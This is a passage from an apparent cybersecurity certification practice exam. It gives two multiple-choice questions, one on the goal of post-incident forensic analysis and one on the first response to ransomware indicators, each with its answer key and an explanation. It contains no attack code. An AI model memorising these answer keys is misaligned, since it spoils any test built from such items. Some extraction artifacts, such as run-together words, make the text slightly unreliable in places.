central server or console. Agent-based vulnerability scanning can reduce network traffic,
as the scans are performed locally and only the results are transmitted over the network.
Agent-based vulnerability scanning can also provide more accurate and up-to-date results,
as the agents can scan continuously or on-demand, regardless of the system or network
status or location.

Questions # 65:

After an incident, a security analyst needs to perform a forensic analysis to report complete
information to a company stakeholder. Which of the following is most likely the goal of the
forensic analysis in this case?

Options:

O A.

Provide a full picture of the existing risks.
O B.

Notify law enforcement of the incident.

O C.

Further contain the incident.

O D.
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Determine root cause information.

Answer

D
Explanation

Thegoal of forensic analysisin a post-incident scenario is to identify theroot causeof
the incident. This helps prevent future occurrences and enhances the security posture of
the organization.

Option A (Full picture of risks)is more aligned with a risk assessment rather than
forensic analysis.

Option B (Notifying law enforcement)depends on the situation, but forensic
analysis is performed even when legal action is not involved.

Option C (Further containment)is part of incident response, but forensic analysis
happensaftercontainment.

Thus,D is the correct answer, asdetermining root cause is the key objective of
forensic analysis.

Questions # 66:

During an incident, some loCs of possible ransomware contamination were found in a group of
servers in a segment of the network. Which of the following steps should be taken next?

Options:

O A.
Isolation

O B.
Remediation
O C.
Reimaging

O D.
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Preservation

Answer

A
Explanation

Isolation is the first step to take after detecting some indicators of compromise (loCs) of
possible ransomware contamination. Isolation prevents the ransomware from spreading to
other servers or segments of the network, and allows the security team to investigate and
contain the incident. Isolation can be done by disconnecting the infected servers from the
network, blocking the malicious traffic, or applying firewall rules12.

[References: 10 Things You Should Do After a Ransomware Attack, How to Recover from a
Ransomware Attack: A Step-by-Step Guide, , , , ]
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